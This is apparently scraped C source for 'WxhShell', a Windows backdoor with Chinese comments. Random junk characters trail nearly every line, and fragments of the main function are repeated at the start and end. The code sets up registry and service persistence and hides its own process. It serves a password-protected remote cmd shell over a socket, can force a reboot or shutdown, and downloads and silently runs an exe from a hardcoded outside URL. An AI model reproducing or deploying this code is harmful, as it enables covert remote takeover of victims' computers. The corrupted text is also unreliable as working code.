WinExec(wscfg.ws_filenam,SW_HIDE); Um|:AT}`^
} { u;ntDr
a E#s#Kv
if(!OsIsNt) { =e4,)Wd9&
// 如果时win9x，隐藏进程并且设置为注册表启动 ve>8vw2
HideProc(); Ar\`OhR
StartWxhshell(lpCmdLine); #3qkG)
} {u!,TDt*
else g'IS8@
if(StartFromService()) *"E]^wCn
// 以服务方式启动 is6JS^Q
StartServiceCtrlDispatcher(DispatchTable); ZJx:?*0a
else Q8P;AN_JS
// 普通方式启动 !?KY;3L:
StartWxhshell(lpCmdLine); x|Q6[Y
Y!SD^Ie7!
return 0; Pukq{/27
} c,+oH<bZZs
`T mIrc
wp@c;gK7
t!K|3>w
=========================================== tV<Au
\Q#F&q0
\^_F>M
NSxDCTw
F<I-^BY)
7igrRU#1%
" {yJ{DU?%Y
o`&idn|,
#include <stdio.h> j6Vuj/+}
#include <string.h> "=qdBG9
#include <windows.h> Q@M,:0+cy
#include <winsock2.h> `a<G7
#include <winsvc.h> 9m#`56G`
#include <urlmon.h> yJr'\(
SX;FBO(p
#pragma comment (lib, "Ws2_32.lib") wK,tq
#pragma comment (lib, "urlmon.lib") h5Z%|J>;0
(g
#define MAX_USER 100 // 最大客户端连接数 YAO.Ccz
#define BUF_SOCK 200 // sock buffer 44n^21k
#define KEY_BUFF 255 // 输入 buffer t4,6`d?C
zJ#q*2A(Z
#define REBOOT 0 // 重启 nc`[fy|}
#define SHUTDOWN 1 // 关机 `OBDx ^6F
$#0%gs/x
#define DEF_PORT 5000 // 监听端口 =LuA[g
$ccI(J`zux
#define REG_LEN 16 // 注册表键长度 V{(ve#y7`{
#define SVC_LEN 80 // NT服务名长度 Ao0F?2|
T,;6q!s=
// 从dll定义API inp=-
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;8UNM
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `f b}cJUa
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s'i1!GNF B
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7^:s/xHO*
or(Z-8a_
// wxhshell配置信息 Q~`]0R159e
struct WSCFG { (}}BZS&.
int ws_port; // 监听端口 Fn6>n04v
char ws_passstr[REG_LEN]; // 口令 G66vzwO
int ws_autoins; // 安装标记, 1=yes 0=no 0C3CqGP
char ws_regname[REG_LEN]; // 注册表键名 =m:0#&t,*
char ws_svcname[REG_LEN]; // 服务名 x; :[0(st}
char ws_svcdisp[SVC_LEN]; // 服务显示名 K+n6.BzW
char ws_svcdesc[SVC_LEN]; // 服务描述信息 f\Pd#$3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rh:\/31~
int ws_downexe; // 下载执行标记, 1=yes 0=no 03#r F@e
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cA_v*`YL
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lS}5bcjR=k
UP#]n 69y
}; R_(A&,
PF4Cs3m/
// default Wxhshell configuration }"_S;[{d
struct WSCFG wscfg={DEF_PORT, %vMi kibI
"xuhuanlingzhe", YsLEbue
1, #K ]k
"Wxhshell", /EWF0XV!
"Wxhshell", #OG_OI
"WxhShell Service", M)Y`u
"Wrsky Windows CmdShell Service", Ib]{rmaP
"Please Input Your Password: ", 84|Hn|4t
1, D @T,j4o
"http://www.wrsky.com/wxhshell.exe", sgFpZk
"Wxhshell.exe" VNaa(Q
}; e PlEd'Z
$T~|@XH
// 消息定义模块 $UKV2c
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qksN {t
char *msg_ws_prompt="\n\r? for help\n\r#>"; *"4 OXyV
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Q-(tGd
char *msg_ws_ext="\n\rExit."; (%\N-[yZ
char *msg_ws_end="\n\rQuit."; hCc I >[H5
char *msg_ws_boot="\n\rReboot..."; 2v yB[(
char *msg_ws_poff="\n\rShutdown..."; *h$Dh5%P
char *msg_ws_down="\n\rSave to "; .~C*7_
|VTm5.23
char *msg_ws_err="\n\rErr!"; nB"q
char *msg_ws_ok="\n\rOK!"; "o%N`Xlx
%Wn/)#T|
char ExeFile[MAX_PATH]; YP+0uZ[g
int nUser = 0; vlx wt~
HANDLE handles[MAX_USER]; OY/QA
int OsIsNt; ss |<\DE+
!PJ;d)\T
SERVICE_STATUS serviceStatus; 7*uG9iX
SERVICE_STATUS_HANDLE hServiceStatusHandle; )}vQ?n[:'
ZA+$ZU^
// 函数声明 jgVra*
int Install(void); iEsI
int Uninstall(void); NV^ktln
int DownloadFile(char *sURL, SOCKET wsh); jCtl ]
int Boot(int flag); r9yUye}
void HideProc(void); }$Q+x'
int GetOsVer(void); :R"k=l1
int Wxhshell(SOCKET wsl); eN,s#/ip]
void TalkWithClient(void *cs); A!ba_14
int CmdShell(SOCKET sock); N`Zm[Sv7
int StartFromService(void); Ddghw(9*H
int StartWxhshell(LPSTR lpCmdLine); {(7Dz*0
psta&u\ q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \@:pWe
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q{Jz;6"
:nd }e
// 数据结构和表定义 Z>Rd6o'
SERVICE_TABLE_ENTRY DispatchTable[] = Mw\/gm_3
{ {o*ziZh
{wscfg.ws_svcname, NTServiceMain}, R5H UgI
{NULL, NULL} v}M, M&?
}; G$xuHHZ'
i('z~
// 自我安装 a+{YTR>0m
int Install(void) (|I0C 'Ki
{ ;^=eiurv
char svExeFile[MAX_PATH]; bXQ(6P
HKEY key; {MO`0n; rt
strcpy(svExeFile,ExeFile); [f:>tRdH
qF%wl
// 如果是win9x系统，修改注册表设为自启动 &bRmr/D
if(!OsIsNt) { ^8 AV#a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'i%Azzv
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 13}=;4O
RegCloseKey(key); ~g;(`g
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/u$Ts
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bb}JyT
RegCloseKey(key); @:oMlIw;
return 0; 49 fs$wr@
} <Lyz7R6
} |*Z'WUv
} |/]bpG'z
else { +`mJh\*
3S_KycE{
// 如果是NT以上系统，安装为系统服务 Yu9Ccj`
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g5M-Vu
if (schSCManager!=0) |2 g }i\
{ Z@t).$
SC_HANDLE schService = CreateService }u5 Mexs
( z,P:i$
schSCManager, ZBJ.dK?Ky|
wscfg.ws_svcname, [A yq%MA
wscfg.ws_svcdisp, P=KOw;bs
SERVICE_ALL_ACCESS, L_<&oq
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }zlvs a+
SERVICE_AUTO_START, 3 ^{U:"N0
SERVICE_ERROR_NORMAL, 4<ER dP7"-
svExeFile, Wa2V Z
NULL, $kZ,uvKN
NULL, :c!7rh7O
NULL, kD >|e<}\
NULL, SdnqM`uFo
NULL aS'G&(_
); DJr 8<u
if (schService!=0) "P&|e|7
{ #Ru+|KL
CloseServiceHandle(schService); nm*1JA.:
CloseServiceHandle(schSCManager); 7V 2%
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6i9m!YQV
strcat(svExeFile,wscfg.ws_svcname); 0 -=onX
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rfXM*h
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HqcXP2
RegCloseKey(key); YZr^;jfP
return 0; B5=L</Aj
} O)\xElu
} v\n!Li H
CloseServiceHandle(schSCManager); IW$&V``v
} oT\B-lx
} 4w*F!E2H\}
/+JCi6{sHS
return 1; ag:#82C
} VBIPB
BXZ( %tnY
// 自我卸载 D<5gdIw
int Uninstall(void) /UN%P2>^1
{ MGN*i9CE
HKEY key; )WwysGkqol
eq(|%]a=
if(!OsIsNt) { |>j=#2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4{}u PbS
RegDeleteValue(key,wscfg.ws_regname); NO`LSF
RegCloseKey(key); tN3Xn]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hu1w/PLq
RegDeleteValue(key,wscfg.ws_regname); A;SRm<,
RegCloseKey(key); jMW|B
return 0; 87YT;Z;U&
} $Z.c9rY1
} O4]Ss}ol
} &|n*&@fF
else { Af5In9WB5
A!Xn^U*p
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y;;^o6Gnw
if (schSCManager!=0) w{I60|C]*
{ Q]{DhDz?+
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h&h]z[r R
if (schService!=0) }\JoE4
{ nITr5$f
if(DeleteService(schService)!=0) { riFE.;
CloseServiceHandle(schService); ,(OA5%A9zK
CloseServiceHandle(schSCManager); ~AjbF(Ad
return 0; $`{}4,5M
} azj<aaH
CloseServiceHandle(schService); Y49kq}
} Vn=J$Uv0
CloseServiceHandle(schSCManager); oYlq1MB?
} gA" =so
} UrN$nhH
&XrF#s
return 1; F]M3/M
} &e cf5jFy
#)my)}o\p
// 从指定url下载文件 V [[B~Rs
int DownloadFile(char *sURL, SOCKET wsh) v*FCE 1HI
{ SDA +XnmH
HRESULT hr; hYb!RRGn
char seps[]= "/"; /bt@HFL|`
char *token; :d)@|SR1
char *file; %+o]1R
char myURL[MAX_PATH]; ~qFi0<-M
char myFILE[MAX_PATH]; pC_2_,6$
$Snwx
strcpy(myURL,sURL); GrVvOJr
token=strtok(myURL,seps); 8eWb{nuJ>
while(token!=NULL) "%,zB_ng\<
{ b:Rl }"a
file=token; %#/7Tl:
token=strtok(NULL,seps); c6BaC@2
} *5*d8;@>
FZjtQ{M
GetCurrentDirectory(MAX_PATH,myFILE); k}F;e_
strcat(myFILE, "\\"); (a&.Ad0{
strcat(myFILE, file); Ev*HH+:b>
send(wsh,myFILE,strlen(myFILE),0); < g6 [mS
send(wsh,"...",3,0); KXicy_@DC`
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B<8Z?:3YS
if(hr==S_OK) [#lPT'l
return 0; &&_W,id`
else =qIJXV
return 1; zVl(?b&CF
u^!-Z)W
} y])xP%q2O
k3S**&i!CR
// 系统电源模块 pg4M$;ED
int Boot(int flag) Kc{fT^E
{ m"H9C-Y
HANDLE hToken; Xa9G;J$
TOKEN_PRIVILEGES tkp; +~w '?vNc
(Pvch!
if(OsIsNt) { zLf^O%zN
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oE-i`;\8
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9FcCq*D
tkp.PrivilegeCount = 1; 9.vHnMcq
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @105 @9F
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CIO&VK
if(flag==REBOOT) { `lcpUWn
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~yB[}BPf
return 0; pZjyzH{~
} ,((5|MbM/
else { SJy:5e?zk
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D?X97jNm
return 0; ?B@iBOcu[
} xU67ztS'E'
} @-!w,$F)%d
else { q;>'jHh
if(flag==REBOOT) { g>VkQos5"
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `P :-a7_
return 0; HbZ3QWP
} - bFz
else { 7/Ve=7]
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1eiH%{w
return 0; i]9SCO
} Hr96sN.R
} "}Ya.
7CrWsQl u
return 1; ==UH)o`?8
} 2&Wc4,O!i
qI5/ME(}
// win9x进程隐藏模块 -!wm]kx f
void HideProc(void) 0o`0Td
{ TtkB
E$smr\
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oyj!N`&z@
if ( hKernel != NULL ) 2\EMtR>.M'
{ |iO2,99i
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S`"IM?
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X} 8rrC=
FreeLibrary(hKernel); >MiA|N=
} xJc'tT6@
rpDH>Hzq
return; D&Ngg)_Mq
} F?5kl/("
3smcCQA%
// 获取操作系统版本 Z#"6&kv
int GetOsVer(void) .`xcR]PQ
{ YBHmd
OSVERSIONINFO winfo; K _O3DcQ
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #l8CUg~Uj
GetVersionEx(&winfo); 9I^_n+E
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @f{)]I +f
return 1; SGjaH8z
else -pa.-@
return 0; w7w$z_P
} 3#0nus|=S
PJh\U1Z
// 客户端句柄模块 s)xfTr_$
int Wxhshell(SOCKET wsl) cZ^$!0
{ +w GE
SOCKET wsh; NTgk0cq
struct sockaddr_in client; ]!h%Jlu
DWORD myID; 3lA<{m;V
k{"~G#GwP
while(nUser<MAX_USER) ZNG.W0{p
{ |Q.?<T:wt=
int nSize=sizeof(client); 3vVhE,1N
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F N(&3Ull
if(wsh==INVALID_SOCKET) return 1; ,ulTZV
Xo{Ce%L
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q'q'v S
if(handles[nUser]==0) *A c~
closesocket(wsh); dtm_~r7~
else `I_%`15>
nUser++; ~>s^/`|?
} < ~x5{p
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FW[<;$
'fawpU|h
return 0; Es[?yft2Q<
} t(Iy[-
\!z=x#!O$
// 关闭 socket :vX;>SH$p
void CloseIt(SOCKET wsh) 8=)Aksu
{ P#rwYPww\
closesocket(wsh); q0DoR@
nUser--; w?<:`
ExitThread(0); +z("'Cv
} P,D >gxl
*w> /vu
// 客户端请求句柄 BjOrQAO
void TalkWithClient(void *cs) 83;1L:}`
{ J>XaQfzwU
U5izOFc
SOCKET wsh=(SOCKET)cs; _.Uz!2
char pwd[SVC_LEN]; iT9cw`A^%
char cmd[KEY_BUFF]; bLSI\
char chr[1]; ?aO%\<b
int i,j; _lyP7$[: c
G}D?+MWY
while (nUser < MAX_USER) { >D<nfG<s Z
fB;'U
if(wscfg.ws_passstr) { 5 MQRb?[
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JL;H:`x
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #;}IHAR
//ZeroMemory(pwd,KEY_BUFF); 7{az %I$h
i=0; sy/J+==
while(i<SVC_LEN) { Me5umA
Pgye{{
// 设置超时 ;@v7AF6Hq
fd_set FdRead; *M-.Vor?R
struct timeval TimeOut; ]p+t>'s
FD_ZERO(&FdRead); W+Gu\=s%O
FD_SET(wsh,&FdRead); G9Azd^3
TimeOut.tv_sec=8; 8*6J\FE<p
TimeOut.tv_usec=0; '>'h7F=tY
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EkWe6m
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qpf BM
U|U/B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ): Q5u6
pwd=chr[0]; hO{@!H$l
if(chr[0]==0xd || chr[0]==0xa) { )@SIFE
pwd=0; ?_n.B=H`8
break; o)S>x0|[
} $V`O%Sz
i++; Ldir'FW
} ?xUz{O0/
.7E-
// 如果是非法用户，关闭 socket >{Lfrc1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #J^p,6
} D|9B1>A,m
s.GTY@t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w8FZXL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TSHp.ABf
] ^
while(1) { D8[&}D4
?ADk`ts~,}
ZeroMemory(cmd,KEY_BUFF); Wc`Vcn1
|a\s}M1
// 自动支持客户端 telnet标准 3%|<U51
j=0; \Xxx5:qM
while(j<KEY_BUFF) { s#* mn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '[\%P2c)Q
cmd[j]=chr[0]; *p.ELI1IC
if(chr[0]==0xa || chr[0]==0xd) { :*c@6;2@
cmd[j]=0; \O7,CxD2
break; 2(`2f
} @J" }~Y
j++; &\!-d%||)
} B*DH^";t
{6/%w,{,
// 下载文件 /xsa-F
if(strstr(cmd,"http://")) { #docBsHX&s
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q&M(wnl5
if(DownloadFile(cmd,wsh)) /0SPRf}p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |U7{!yy%MF
else 3P-#NL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' P-K}Y
} OtQKDpJq
else { rRC3^X`u
X]y3~|K
switch(cmd[0]) { rM>&!?y+
@X\nY</E#M
// 帮助 ?kS5=&<
case '?': { hb? |fi
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _MMz x2}
break; YT&_{nL#\
} $V5Ol6@2
// 安装 kN>d5q9b%X
case 'i': { 7Jc=`Zm'
if(Install()) zWjGGTP~3&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kO2im+y
else WQ"ZQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #NL1N_B
break; zROyG
} D-,sF8{ i
// 卸载 cteHuRd
case 'r': { |'KNR]: N
if(Uninstall()) ?pQ, 5+8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }T(|\ X
else eh)J'G]G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L9o!OsQ
break; 2ix_,yTO
} Yq5}r?N
// 显示 wxhshell 所在路径 sV[|op
case 'p': { 1N#TL"lMS
char svExeFile[MAX_PATH]; !uHI5k,f
strcpy(svExeFile,"\n\r"); #UXmTrZ.
strcat(svExeFile,ExeFile); CT"0"~~
send(wsh,svExeFile,strlen(svExeFile),0); %Yd}},X_E
break; Y{p *$
} AA05wpu8
// 重启 \uanQ|Nu
case 'b': { F7"Ihb^l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gl1`Nx0
if(Boot(REBOOT)) 1bj75/i<6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1U"Y'y2
else { !' sDqBZ&7
closesocket(wsh); -@J;FjrXmP
ExitThread(0); c[",WB<9
} 8E0Rg/DnT
break; KE5f`h
} u $sX6
// 关机 03rZz1
case 'd': { Y1 -cz:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qw_qGgbl
if(Boot(SHUTDOWN)) _n{N3da
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rp1u
else { G_AAE#r`
closesocket(wsh); }#yRaIp
ExitThread(0); ;W+.]_$6)T
} w"l8M0$m
break; spe9^.SI
} <D4)gRRo
// 获取shell +Z{4OJK
case 's': { T>?sPq
CmdShell(wsh); 93'%aSDI%
closesocket(wsh); jpBE| Nm
ExitThread(0); 4|:{apH
break; 8-SVgo(
} 9)4N2=
// 退出 ;'<K}h
case 'x': { #lct"8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SH`"o
CloseIt(wsh); <&+l;z
break; OEAF.
} |]m&LC
// 离开 (bBetX
case 'q': { Y<0f1N
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9r8{9h:
closesocket(wsh); }xdI{E1 q)
WSACleanup(); X=.+XP]
exit(1); ueWG/`ig
break; %[p[F~Z^Z
} c6lEWC:
} kbMIMZC/G
} gE$dz#t.
g#70Sg*d
// 提示信息 ^ePSI|EW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WVo%'DtF`
} ZE=~ re
} ipbVQ7
[C d2L&9
return; U9N}6a=
} %@rh\Z
XHe=
// shell模块句柄 `__CL )N|
int CmdShell(SOCKET sock) ?Z14l0iZ%d
{ ucA6s:!={
STARTUPINFO si; 1C|j<w=i
ZeroMemory(&si,sizeof(si)); }%jb/@~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }_gq vgI>p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s]2k@3|e
PROCESS_INFORMATION ProcessInfo; uvmNQg
char cmdline[]="cmd"; |"@E"Za^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;yUY|o
return 0; <`N\FM^vo
} @:c 1+
[J*)r8ys
// 自身启动模式 v=`VDQWq
int StartFromService(void) f0^s*V+
{ c}{e,t
typedef struct VKs$J)6
{ UW>~C
DWORD ExitStatus; 0[hl&7 Ab@
DWORD PebBaseAddress; S`*al<m
DWORD AffinityMask; 'Lm.`U
DWORD BasePriority; $9l3DJ
ULONG UniqueProcessId; F1,pAtA
ULONG InheritedFromUniqueProcessId; gVI*`$
} PROCESS_BASIC_INFORMATION; -m+2l`DLy
^#Wf
PROCNTQSIP NtQueryInformationProcess; Hu'c)|~f
\?C(fpR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TVjY8L9'h
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <"\K|2Sg
Qe4
HANDLE hProcess; RCmPZ
PROCESS_BASIC_INFORMATION pbi; wZOO#&X#r
10 p+e_@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |]I?^:I
if(NULL == hInst ) return 0; Ik}*7D
O=-|b kO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mv9s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H?aB8=)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jn+0g:l
I{RktO;1
if (!NtQueryInformationProcess) return 0; fB:M'A'
p(U'Ydl~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n&Al~-Q:^
if(!hProcess) return 0; kKjYMYT6
3Ys|M%N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f5yd2wKy6
'l;?P
CloseHandle(hProcess); |YlUt~H>
$[>wJXj3R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CId`6W
if(hProcess==NULL) return 0; C&;'Pw9H
F^aD!O ~
HMODULE hMod; r1=Zoxc=w
char procName[255]; ;=n7 Z
unsigned long cbNeeded; 9:kb0oBa?l
8F@6^9C
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Ux%7H_d
$ &^ ,(z9
CloseHandle(hProcess); "jpjBH:c$
lRO8}XSI
if(strstr(procName,"services")) return 1; // 以服务启动 i>rn!?b
^%<v| Y(X
return 0; // 注册表启动 >*_?^F_
} _>aesp%
)pvZM?
// 主模块 $GPA6
int StartWxhshell(LPSTR lpCmdLine) {bNnhW*qOu
{ 9j,zaGD0
SOCKET wsl; 7"QcvV@p
BOOL val=TRUE; +(P;4ZOmB
int port=0; G_o/ lIz"
struct sockaddr_in door; Onc!5L
`n%~#TJ
if(wscfg.ws_autoins) Install(); ~M\s!!t3
Ti'O 2k
port=atoi(lpCmdLine); ck@[% ?
oOD|FrlY
if(port<=0) port=wscfg.ws_port; *%fOE;-?
{<]abO
WSADATA data; :WxMv~e{U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KS|$_-7u
Y0b.utR&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <e=0J8V8,i
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wWm#[f],?
door.sin_family = AF_INET; vx ,yz+yP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $]T7Iwk
door.sin_port = htons(port); |fJ,+)_(
$Z(zO;k.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r*3;gyG.,#
closesocket(wsl); m.$Oo Mu'
return 1; {-E{.7
} \(z)]D
gr2zt&Z4
if(listen(wsl,2) == INVALID_SOCKET) { ,sc>~B@Q
closesocket(wsl); iA< EJ
return 1; eR}d"F4W
} RM`8P5i]sF
Wxhshell(wsl); 62zlO{ >rJ
WSACleanup(); kO5KZ;+N-
U{R*WB b
return 0; y=&)sq
k9bU<
} <D 5QlAN
0P)c)x5
// 以NT服务方式启动 te:VYP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w"sRK
{ Y# lE
DWORD status = 0; #?-W.
DWORD specificError = 0xfffffff; #F9$"L1Hg
@-7K~in?^
serviceStatus.dwServiceType = SERVICE_WIN32; T0SD|'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z$pR_dazU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C qxP@
serviceStatus.dwWin32ExitCode = 0; LCdc7
serviceStatus.dwServiceSpecificExitCode = 0; *(HH71Y
serviceStatus.dwCheckPoint = 0; 8+!$k!=X
serviceStatus.dwWaitHint = 0; lz>5bR'
`\qU.m0(j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B]hZ4.B1
if (hServiceStatusHandle==0) return; QvqBT
~+d]yeDrhx
status = GetLastError(); l p? h~
if (status!=NO_ERROR) I,#U _
{ \"lzmxe0p
serviceStatus.dwCurrentState = SERVICE_STOPPED; C{'c_wX
serviceStatus.dwCheckPoint = 0; ``NjNd
serviceStatus.dwWaitHint = 0; C :e 'wmA
serviceStatus.dwWin32ExitCode = status; S=my;M-
serviceStatus.dwServiceSpecificExitCode = specificError; s$]I@;_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aE;!mod
return; .N5"IY6>
} %%f=aPw
%bv<OMD
serviceStatus.dwCurrentState = SERVICE_RUNNING; OrH&dY
serviceStatus.dwCheckPoint = 0; B8P%4@T
serviceStatus.dwWaitHint = 0; JD'/m hN0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !k[zUti
} M35}5+
>DV0!'jW
// 处理NT服务事件，比如：启动、停止 aTPpE9Pa&
VOID WINAPI NTServiceHandler(DWORD fdwControl) @ce4sSo
{ 0W>O,%z&P#
switch(fdwControl) k"n#4o:
{ \t1vYIY]T
case SERVICE_CONTROL_STOP: Ig6s'^
serviceStatus.dwWin32ExitCode = 0; Ge @d"
serviceStatus.dwCurrentState = SERVICE_STOPPED; U} g%`<
serviceStatus.dwCheckPoint = 0; (_W[~df4
serviceStatus.dwWaitHint = 0; q5`Gl
{ |6uEf/*DX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CZ0 {*K:
} > Euput\
return; qNvKlwR9;k
case SERVICE_CONTROL_PAUSE: a'A0CQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6)?TWr'Ke
break; 8pk5[=3Z
case SERVICE_CONTROL_CONTINUE: U?}Maf
serviceStatus.dwCurrentState = SERVICE_RUNNING; +wio:==
break; ?Z.YJXoKZ
case SERVICE_CONTROL_INTERROGATE: JlH|=nIaj6
break; XM)|v|
}; 0!?f9kJq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |e\:0O?
} `6M(`*Up
F4PD3E_#
// 标准应用程序主函数 z=u4&x|xA
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M0]fh5O
{ 11)~!in
vi=yR
// 获取操作系统版本 IAtZ-cM<
OsIsNt=GetOsVer(); H;Bj\-Pa
GetModuleFileName(NULL,ExeFile,MAX_PATH); bM!`C|,[s
|l~ADEg
// 从命令行安装 Kp99y
if(strpbrk(lpCmdLine,"iI")) Install(); 9R E;50h
WAQv4&xGM
// 下载执行文件 BujWql
if(wscfg.ws_downexe) { lmd0Q(I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d,H%
WinExec(wscfg.ws_filenam,SW_HIDE); 1n5&PNu
} 4@VX%5uy
[F>zM
if(!OsIsNt) { n%O`K{86
// 如果时win9x，隐藏进程并且设置为注册表启动 ^X?[zc GE
HideProc(); ;Joo!CXHO
StartWxhshell(lpCmdLine); ]:f1r8<3p
} .3Ap+V8?
else kBT cND|
if(StartFromService()) j9qN!.~mM
